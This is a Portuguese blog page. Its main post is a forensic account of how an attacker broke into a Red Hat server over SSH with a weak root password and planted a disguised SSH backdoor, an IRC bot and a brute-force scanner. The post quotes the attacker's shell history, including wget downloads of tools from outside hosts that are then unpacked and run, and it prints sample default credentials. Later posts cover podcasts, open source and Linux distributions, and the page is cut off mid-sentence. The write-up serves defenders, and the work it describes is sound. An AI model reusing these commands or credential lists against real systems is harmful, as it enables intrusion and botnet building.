Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:36:27 sshd[PID]: refused connect from  IP.IP.IP.IP
Feb 22 12:26:27 sshd[PID]: refused connect from  IP.IP.IP.IP

Eles mostravam que o IDS (Intrusion Detection System) de B acusou que a máquina atacada (cujo endereço IP está representado por IP.IP.IP.IP) tentou se logar várias vezes sem sucesso em seu serviço SSH (sshd). Reparem que o instante de todas as tentativas, até os segundos, é o mesmo, o que leva a crer que não é um ser humano, e sim algum software que muito rapidamente está testando várias combinações de usuário e senha ao mesmo tempo.

Fui chamado para dar explicações porque havia fornecido informalmente por telefone algumas dicas de como proteger a máquina. Primeiramente, era necessário dar subsídios ao provedor P para responder ao e-mail de B, dando uma satisfação formal. Isso é uma atitude de responsabilidade de um bom administrador de rede, e demonstra a preocupação em manter o nível de serviço da Internet o mais alto possível.

A máquina foi colocada em quarentena, desligada da Internet e começamos a analisá-la. Tratava-se de um Red Hat Enterprise Linux 3 Update 5. Não estou dizendo que o Red Hat Linux é menos ou mais seguro. Isso não é muito intuitivo de se entender, mas segurança não tem quase nada a ver com o software. Segurança não é um firewall, não é criptografia, nem um conjunto de produtos que tem proteção como objetivo. Segurança é um processo que deve ser seguido conscientemente por administradores de redes. Se um ataque acontece, toda a responsabilidade é do administrador, e não do sistema operacional, seja ele qual for, e do fabricante que for. O administrador precisava agora descobrir como o cracker invadiu para, corajosamente, assumir a falha e não permitir que isso aconteça novamente.

Logo no boot da máquina observamos consecutivas mensagens estranhas que não deviam estar lá e que continham o texto “(swap)”. Começamos a analisar o processo de inicialização do sistema, a partir do arquivo /etc/inittab. Vimos que um dos primeiros scripts que são executados no sistema é o /etc/init.d/functions e fizemos os seguintes testes:

bash$ rpm -qf /etc/init.d/functions
initscripts-7.93.20.EL
bash$ rpm -V initscripts
S.5….T c /etc/rc.d/init.d/functions

Verificamos que este arquivo faz parte (rpm -qf) do pacote initscripts, e em seguida testamos sua integridade (rpm -V). Descobrimos que o arquivo foi alterado: o número 5 significa que o MD5 do arquivo mudou, ou, em outras palavras, que o conteúdo do arquivo mudou. O RPM sabe disso comparando o MD5 do arquivo atual no disco, com o MD5 registrado em seu banco de dados no momento da instalação do pacote.

Mas o que foi alterado no script functions ?

A última linha do script era esta:

/usr/bin/crontabs -t1 -X53 -p

Suspeitamos imediatamente porque o comando crontab não se chama “crontabs”. Confirmamos novamente com o RPM:

bash$ rpm -qf /usr/bin/crontabs
o ficheiro /usr/bin/crontabs não pertence a nenhum pacote

Pronto. Estava constatado que esse tal comando crontabs era alienígena e não deveria estar ali. Foi, com certeza, implantado pelo cracker. Mas não paramos aqui. Queríamos saber o que este programa fazia. Como era um binário, tentamos extrair algumas strings dele:

bash$ strings /usr/bin/crontabs
[...]
“smbd -D”
“(swapd)” &
[...]

Ou seja, era este tal crontabs que mandava para a tela as mensagens com a string “(swap)”. Mas descobrimos outra coisa: o alienígena continha também a string “smbd -D”, que se parece com o nome do serviço do Samba. Nem perdemos tempo usando os comandos ps e top para verificar se um processo chamado smbd estava rodando porque usamos os mesmos rpm -qf e rpm -V para constatar que estes programas também foram modificados pelo cracker. Usamos o utilitário gráfico ksysguard (que não foi modificado) do KDE e pudemos observar um tal processo smbd -D rodando. Chamou a atenção que o ksysguard mostrava todos os processos executando sem seus parâmetros, e somente o smbd apresentava um parâmetro. Não tardou a acharmos um arquivo chamado “/usr/bin/smbd -D” (com espaço e parâmetro mesmo), e o RPM novamente nos informou que ele não fazia parte de nenhum pacote. Tratava-se de outro programa do cracker. Fomos lá tentar extrair mais algumas informações sobre este programa:

bash$ strings “/usr/bin/smbd -D”
[...]
Received SIGHUP; restarting.
Generating new %d bit RSA key.
RSA key generation complete.
   -b bits    Size of server RSA key (default: 768 bits)
By-ICE_4_All ( Hackers Not Allowed! )
SSH-%d.%d-%.50s
This server does not support your new ssh version.
Sent %d bit public key and %d bit host key.
sshd version %.100s [%.100s]
[...]

Omitimos diversas linhas para ser mais didático. A linha vermelha eliminou qualquer dúvida se um cracker havia visitado a máquina ou não. Mas o mais interessante são as linhas azuis, que levaram a crer que o famigerado programa smbd -D era um servidor SSH. O cracker deveria querer isso para manter um backdoor aberto, e poder logar com SSH quando quisesse. Em /var/log/messages encontramos a evidência final:

Feb  19 19:24:49 localhost smbd -D: RSA1 key generation succeeded
Feb  19 19:24:50 localhost smbd -D: RSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D: DSA key generation succeeded
Feb  19 19:24:51 localhost smbd -D:  succeeded

Essas são mensagens típicas de um daemon SSH sendo executado pela primeira vez, quando cria suas chaves únicas de criptografia, só que bizarramente emitidas por um suposto programa com nome de Samba, o que não faz sentido algum e é forte indício que há algo errado no sistema. Ou seja, o cracker implantou um backdoor SSH, porém com um nome mascarado para seu arquivo e processo (smbd). A partir desses registros pudemos também estimar a data em que a máquina foi atacada: 19 de fevereiro.

Para o cracker poder alterar arquivos e comandos tão importantes do sistema, ele deve ter conseguido acesso de root, e por isso fomos espiar o histórico de comandos executados por este usuário no arquivo /root/.bash_history, e vimos isto:

bash# less /root/.bash_history
[...]
cd /usr/share/.a
wget lamisto.octopis.com/mig.tgz
tar xzvf mig.tgz
./mig g-u root -n 0
./mig -u root -n 0
cd /usr/share/.a
wget utilservices.iasi.rdsnet.ro/~marianu/flo.tgz
tar xzvf flo.tgz…linhas omitidas…
cd /var/tmp
wget djanda.com/get/usr.tar.gz
wget djanda.com/get/x.tar.gz
tar xfvz usr.tar.gz
cd usr
chmod +rwxrwxrwx *
./crond
cd ..
tar xfvz x.tar.gz
cd x
chmod +rwxrwxrwx *
mv unix x
./x 201.20; ./x 201.21; ./x 201.22; ./x 201.23; ./x 201.24; ./x 201.25; ./x 201. 26; ./x 201.27; ./x 201.28; ./x 201.29; ./x 201.30; ./x 201.31; ./x 201.32; ./x 201.33; ./x 201.34; ./x 201.35; ./x 201.36; ./x 201.37; ./x 201.38; ./x 201.39; ./x 201.40; ./x 201.41; ./x 201.42; ./x 201.43; ./x 201.44; ./x 201.45; ./x 201. 46; ./x 201.47; ./x 201.48; ./x 201.49; ./x 201.50
[...]
/usr/sbin/adduser scanning

O formato do arquivo não permite saber quando esses comandos foram executados, mas fica evidente que o cracker criou um usuário chamado scanning, baixou arquivos de certos sites, abriu-os e executou comandos que vieram com eles. Analisamos cada um, e descobrimos que:

• No diretório /usr/share/.a ele instalou e executou o tal comando mig que aparentemente é um limpador de histórico de login do sistema. Usamos o mesmo comando strings para analisar esse binário. Isso confirmou nossa estimativa da data de ataque pois o comando last (usado para verificar esse histórico) apontou dados inconsistentes por volta de 19 de fevereiro.
• Em /var/tmp foi baixado um tal usr.tar.gz, que aparentemente é um bot de IRC. Mais tarde, com os mesmos comandos do RPM, descobrimos que o comando /bin/netstat também foi alterado, provavelmente para esconder as conexões deste bot a diversos servidores de IRC na porta padrão 6667, o que constatamos com o ksysguard. Adiante explicaremos o que um cracker faz com isso.

Mas o mais interessante foi o x.tar.gz baixado. Continha dois executáveis chamados find e take, o script chamado simplesmente de x, e um arquivo muito especial de nome code.conf. Lendo o simplíssimo script x, vendo no histórico como ele era executado muitas vezes, e usando a intuição, ficou claro que o comando find varria faixas IP inteiras em busca de portas 22 (SSH) abertas. Os hosts encontrados eram então passados para o comando take, que se encarregava de usar as 18459 combinações de usuário e senha disponíveis no arquivo code.conf para tentar se logar nas máquinas encontradas. Um login bem sucedido tinha o IP, usuário e senha registrados num arquivo que indicaria ao cracker as próximas máquinas a invadir. E sim, este arquivo já tinha uma lista de hosts e respectivas senhas em que essas ferramentas conseguiram penetrar.

Foi exatamente esse procedimento de login por força bruta que foi detectado pelo IDS da empresa B, quando o servidor deles tentou ser invadido sem sucesso.

Quando chegamos a isso, ainda não estava claro como a máquina de A foi invadida. Estava checando se e como os administradores da máquina seguiram meus conselhos informais de segurança, verificando as regras de iptables, serviços ativos, etc. Parecia tudo correto, ou não alarmantemente errado. Foi quando demos uma olhada com mais atenção no conteúdo do code.conf e entre suas mais de 18 mil linhas encontramos estas:

root passw0rd
root pa55word
root pa55w0rd
sapdb sapdb
apache apache
apache 123456
apache2 apache
apache2 apache2
apache2 apache123

Enquanto varríamos o arquivo com os olhos, de repente o administrador da máquina colocou a mão na testa, e com voz de lamento nos contou que a senha de root era a manjadíssima passw0rd (com um algarismo zero no lugar da letra ‘o’)! O serviço SSH estava aberto e permitia login do root pela rede. Aquela máquina também tinha sido vítima do scan do cracker, e foi assim que ele entrou e ganhou poder total.

Eu conhecia várias máquinas formais e informais que implementaram aquele mesmo esquema de segurança que foi sugerido, estavam anos conectadas à Internet, e nunca sofreram ataques. Mas uma simples senha conhecida, bem típica de ambientes de testes onde várias pessoas compartilham acessos similares e informais às máquinas, foi o calcanhar de Aquiles da pilha de segurança. Isso confirma que ataques bem sucedidos são sempre responsabilidade do administrador, e nunca do software de segurança em especial.

A Reinstalação da Máquina

Depois de um ataque como esse, e depois do relatório conclusivo, a melhor coisa é limpar completamente o disco e partir para uma reinstalação completa. Desta vez acompanhei de perto a instalação, e seguimos algumas regras simples de segurança:

• Só instalamos pacotes que sabíamos que seriam usados. Descartamos completamente a idéia de fazer uma instalação completa.
• Depois de instalado, desligamos alguns serviços que sabíamos que não seriam usados, como NIS, Samba, Portmap, NFS. E se possível os desinstalávamos.
• Criamos regras para o iptables fechando praticamente tudo menos as portas 80 (HTTP) e 443 (HTTPS).
• Requisitamos ao provedor do link P que configurasse regras semelhante em seu roteador, formando um firewall duplo.
• Por via das dúvidas, desabilitamos o acesso por SSH ao root, obrigando o administrador a se logar com um usuário qualquer e depois ganhar privilégios com o comando su. Isso funciona como uma restrição dupla para administrar a máquina.
• E dessa vez foram usadas senhas decentes, bem difíceis, com letras, números, e que não eram derivadas de palavras óbvias.
• As senhas só foram informadas verbalmente para poucas pessoas. Evitamos passar por e-mail.

Por que o Cracker Ataca ?

Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.


Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Permalink | 11 comments | Filed under: Essays, Linux & Open Source.
Add to del.icio.us digg | Who's linking? Technorati Google

Um podcast é um blog não-textual. Seu conteúdo pode ser audio e/ou vídeo, rodeado por metainformações do tipo “autor”, “entrevistado”, “banda”, “estilo”, “sumário” etc.

Como todo blog, ele tem regularidade: “episódios” no lugar de posts e assim por diante.

Você “assina” um podcast como assina uma revista, da mesma forma como assina um blog (via RSS ou ATOM). Mas como um browser é um leitor essencialmente textual, é mais comum e prático assinar podcasts usando softwares de mídia: iTunes, Yahoo! Music Engine, Amarok, etc.

Na convergência das coisas, um podcast pode ser comparado a um programa de rádio onde o próprio ouvinte decide quando e como vai ouvi-lo.

Num mundo onde tivermos banda larga no ar tão abundante e livre quanto ondas de rádio, além da memória para freqüências de estações, os rádios de nossos carros terão também a assinatura de nossos podcasts preferidos. Com ainda não chegamos a isso, temos que usar MP3 players modernos como o iPod - que tratam podcasts de forma especial - para termos essa funcionalidade.

E nesse mundo, os podcasters seremos você e eu, pessoas comuns falando diretamente para o mundo. Publicar um podcast é tão simples quanto publicar posts num blog. É inclusive algo que se pode integrar com plataformas de blogs comuns, com plugins para Wordpress, etc.

Se você tem um fluxo de coisas para dizer, crie um podcast. Se você tem um fluxo de coisas para serem assistidas, crie um podcast. Se você tem um fluxo de coisas que quer que as pessoas ouçam, crie um podcast. Este último é o meu caso, sobre Jazz Brasileiro, e por isso estou juntando os pedaços e os módulos para criar um.

Andei estudando isso ultimamente, e achei importante compartilhar…

Permalink | 3 comments | Filed under: Community and Society, Essays, Multimedia, Music & Podcasts, Web 2.0.
Add to del.icio.us digg | Who's linking? Technorati Google

• Uma versão adaptada foi publicada como um Minipaper do Technical Leadership Council da IBM Brasil [w3], em 27 de dezembro de 2006.
• Como referência, este é um assunto muito denso e me deram aproximadamente 500 palavras de espaço, então tive que simplificar algumas coisas e/ou não entrar em áreas interessantes como os desobramentos sociais de OSS.
• Mais artigos

O primeiro a propor a idéia de Open Source Software (OSS) foi Richard Stallman na década de 1970, que a formalizou, com a ajuda de alguns advogados, na famosa licença GPL.

Ninguém se interessou ou sequer ouviu falar sobre isso, até que em meados da década de 1990, tudo mudou com a vertiginosa popularização do Linux, sistema operacional OSS.

O termo popular “Software Livre” não é a melhor tradução de Open Source Software, cujo correto é Software de Código Fonte Aberto. É importante notar isso porque muitas vezes o termo é erradamente associado a idéia de não-proprietário, ou não-comercial. A verdade é que um software pode ter seu código fonte aberto mas ser comercial e/ou proprietário e vice-versa, portanto são conceitos que não devem ser confundidos.

A idéia é simples: eu escrevo um programa e você pode copiá-lo à vontade sem nem sequer me notificar. Pode inclusive modificá-lo e redistribuí-lo, contanto que também mantenha suas modificações abertas e informe qual a origem e os autores anteriores do software.

Isso não quer dizer que teremos diversas versões desconexas do mesmo software, num dado momento. Cada modificação passa por um processo muito bem organizado de aceitação ou rejeite, onde boas melhorias retornam à base e são incorporadas à nova versão do software. Na verdade, hoje, a maioria dessas contribuições não é mais feita por indivíduos, mas por empresas de tecnologia.

É comum — e errado — pensar que OSS significa a morte de todo software de código fechado. Isso não acontece porque a tendência é que as grandes inovações continuem a ser exploradas pelo modelo fechado. Imagine um mundo hipotético que ainda não conhece editores de planilhas. É natural que, ao lançar esse produto, seu inventor opte pelo modelo de código fonte fechado, para maximizar seus lucros através do total controle de sua invenção. Contudo, conforme essa invenção se populariza, desenvolve um mercado e adquire concorrentes, OSS surge como uma das formas — a mais inovadora — para repensá-la. OSS inova ao reimplementar o que outros inventaram e exploraram anteriormente. Recentemente, porém, a indústria começou a usar OSS diretamente para lançar certas inovações, justamente pelo seu poder de agregar comunidades e criar ecossistemas.

Também é comum — e errado — acreditar que se o software em si é gratuito, elimina-se por completo os gastos. Mas sempre haverá a necessidade de um suporte confiável. OSS altera o eixo do valor agregado do software, movendo-o do software em si (que não custa nada), para o serviço de suporte.

Em seu processo de amadurecimento, a única diferença prática entre um software OSS e outro de código fonte fechado é a ordem em que as coisas acontecem. Um fabricante comercial terá que criar estrutura e suporte regional antes de vender o produto. Já no OSS, ofertas de suporte só surgem (espontaneamente) depois que ele goza de uma boa gama de usuários. Mas seja qual for a ordem, a única coisa que garante maturidade a qualquer software ou produto é um ciclo de desenvolvimento–uso–suporte, que estimula mais desenvolvimento. Somente essa maturidade garante a aceitação do produto em empresas responsáveis. E hoje, OSSs como Linux, Apache, OpenOffice.org, Samba, e outros já gozam desse ecossistema cíclico de uma forma vasta, global e vigorosa.

Hoje, OSS tem aplicações mais maduras em infraestrutura e alguns nichos de middleware. Por sua vez, os softwares de código fonte fechado apresentam maior desenvoltura mercadológica nas funcionalidades de maior valor agregado ao negócio (ERPs, CRMs ou processos empresariais). Isso porque estas funcionalidades têm uma amplitude menor de usuários, o que inviabiliza o surgimento de suporte espontâneo — fator vital para a maturidade do OSS.

A indústria tem buscado um balanço saudável para misturar componentes fechados com OSS, a fim de maximizar o seu benefício sem abrir mão da maturidade de ponta a ponta. Prova disso é que tem sido cada vez mais comum a implantação de ERPs maduros — geralmente de código fechado — sobre plataformas abertas maduras — como distribuições Linux com suporte.

A receita para o melhor balanço é insistir no uso de Padrões Abertos. Por garantirem uma interoperabilidade fácil entre camadas abertas e de código fechado, o uso de padrões amplia as escolhas e a liberdade da empresa que compra TI para compor a melhor mistura do momento, com opções OSS e/ou de código fechado.

Permalink | 7 comments | Filed under: Essays, Linux & Open Source.
Add to del.icio.us digg | Who's linking? Technorati Google

• Brazilian Portuguese version available.
• Original file in ODF and PDF formats.
• This article is a sort of transcript for this presentation.
• More articles

It is important to begin by saying that all Linux distributions, including commercial — Red Hat Enterprise Linux, SUSE, Xandros, etc — as well as non-commercial — Debian, Slackware, Gentoo, etc — are all good and are technically able to fulfill most real world needs. To choose amongst them is more related to personal taste of the people who already knows it than to functionality. But a company must think about other aspects — not only taste — to guarantee making the right strategic choice for long term benefits.

Support and Certification

All Linux distributors package, in one way or another, mostly the same set of Open Source softwares (the Kernel, Apache, Samba, libraries, Gnome, KDE, etc). But only the so called enterprise distributions include support services together with their product.

For a user, support really means:

1. A partner available now and in the long term to transfer operational risks.
   This is the most important point. Companies don’t want to take risks — specially the Open Source risks — for themselves.
2. Fast access to quality updates.
   Companies in general have limited resources to compile, test and apply OSS updates.
3. Access to a large set of certified hardware (IHV) and software (ISV) vendors, and availability of pre-tested complex solutions.
   A critical part of any IT project is the support and certification connections between its components (hardware, storage, middleware, etc). The most important and valued function provided by a distributor, even more so than the embedded technology in the OS, is its ability to build ecosystems of certified Independent Hardware and Software Vendors.

Price for a License Versus Subscription Business Models

Companies that sell commercial software (as Microsoft, IBM, Oracle, etc) allow somebody to use their products only after buying the rights to. This “buyable rights” are refered to as a commercial license.

The software provided in any Linux distribution is free of charge. The developers of these softwares have licensed their work under the GPL, BSD, Mozilla Public, IBM Public or some other Open Source licenses, which grants anyone the rights to use and redistribute the software without having to pay any money.

It is a misnomer to say that you are “buying� some Linux distribution (or a license for it to be used). You can’t buy it. It is already yours, in practical terms. It is like saying a user is buying the content of some web site. There is nothing material to acquire. On the other hand this user can subscribe to a service that provides hot line support, access to updates and access to an ecosystem of interoperable certified products and solutions – the support points outlined above.

So enterprise Linux distributors (such as Red Hat, Novell, Xandros) sell these services, and not the software, because the last is free of charge.

Choosing the Best Distribution

There are two responsible and effective ways to use a Linux distribution as part of a company’s IT operations:

1. Acquire a global commercial Linux subscription such as Red Hat Enterprise Linux or Novell SUSE Linux Enterprise Server.
   A subscription ties together the Open Source software and its global scale support, providing a stable environment for a certified ISV and IHV flourishing ecosystem.
2. Use free distributors such as as Debian or Slackware and buy support services from an independent local company.
   Free distributions may introduce more risk due to non-global support operations, in addition to a loose integration between software and support, which leads to a weak ISVs and IHVs ecosystem.

In terms of technical flexibility and vendor choice — points that influence cost —, both options are equal. All the benefits of the second option are present in the first, while second lacks the ecosystem aspects.

Thus the conclusion is that it is more reasonable to directly acquire a product that directly ties the support to the software, than manually integrate them at the regional level.

Companies should look at the following points, in this order, when choosing a Linux distribution to run their business applications:

1. Which distribution vendor do I have closer commercial relationship?
2. Who has best pricing model for the value provided?
3. Which distribution does my technical staff have more experience with?
4. Which distribution is supported and certified by my providers of hardware and software?
5. If you are unsure, be responsible and use an enterprise distribution.

There are two enterprise Linux distributors that have a strong ecosystem and penetration in the market: Red Hat Enterprise Linux and Novell SUSE Linux Enterprise. They have differences that every year continue to converging and diverge. See the table for a comparison.

Other Enterprise Distributions

There are several Linux distributions with business models similar to the one adopted by Red Hat and Novell. Most well known are Ubuntu (technically based on Debian), Mandriva (Conectiva and Mandrake fusion), Xandros (also based on Debian.) They are focused on building a product that can scale globally in such a way that support services can be delivered automatically or as a self-service.

There is an intrinsic market law that seeks equilibrium by providing two options in which to choose. One option may be good (there is actually no option when only one path is available), two mature options is better, and three or more options are too much for the market to handle. It appears that the market has already defined its two mature options: Novell and Red Hat.

Even if these other enterprise distributors have better products, they’ll have to spend a considerable amount of energy developing an ecosystem of ISVs and IHVs. More than that, ISVs and IHVs will have to take a break in their operations to listen to what these new distributors have to offer.

Ecosystem is everything. A product with a good ecosystem can easily become much better than an excellent product without an ecosystem. This is probably the most important aspect a company should consider when choosing a Linux distribution.

One cannot say that a certain distribution is better than all others. When searching for a distribution one should be pragmatic in striking a balance between the distribution’s functions and how well it meets the goals of the company or specific project.

Permalink | No comment | Filed under: Essays, Linux & Open Source.
Add to del.icio.us digg | Who's linking? Technorati Google

• Publicado em 28/03/2006 no site IBM Rational Buzz, logo após um mal entendido de que a IBM iria migrar todos os seus desktops para Linux.
• Mais artigos

Hoje a indústria usa o sistema operacional de desktop de praticamente um único fornecedor, cria aplicações gráficas 100% dependentes dele, e usa uma suite de escritório que também só funciona sobre esse mesmo sistema operacional. Ainda por cima, os documentos de formato proprietário com que o mercado usa só podem ser gerados e consumidos por essa mesma suite.

Se nossos CDs de música tocam em qualquer CD player, por que nossas aplicações, páginas da web, documentos, etc não podem ser usados em qualquer sistema operacional, plataforma de hardware, etc ?

A demora para isso acontecer reflete quão dependente dessas tecnologias proprietárias é o mercado. Isso é caro principalmente porque não há com quem negociar alternativas, e por isso essas tecnologias terão o preço que seu fornecedor quiser.

A IBM ainda está analisando o direcionamento futuro dos nossos desktops internos para funcionários. Não foi decidido entre Linux ou Vista, nem Darwin, nem BSD, nem nenhum outro sistema operacional.

Temos iniciativas internas fortíssimas para que os produtos e serviços de nossa Intranet sigam Padrões Abertos. Dessa forma, um funcionário pode escolher o sistema operacional que melhor se adequar ao seu trabalho.

Não usamos uma tecnologia proprietária de impressão remota, e sim o serviço que usa Padrões Abertos para imprimir na rede.

Não usamos uma aplicação proprietária de VPN, mas o serviço de VPN que usa Padrões Abertos.

Não temos um serviço de diretórios de uma implementação proprietária, e sim um diretório corporativo baseado no Padrão Aberto LDAP.

Não usamos documentos de formatos proprietários, que só podem ser gerados e consumidos por uma única suite de escritório, mas reforçamos o uso do novo Open Document Format, baseado em XML, introduzido pelo OpenOffice.org, que pode ser aberto em qualquer suite de escritório.

E por aí vai….

A última fronteira é a convergência gradativa dos produtos de workgroup baseados em Lotus Notes com o novo Workplace Client Technology, que implementa Padrões Abertos, e que é baseado no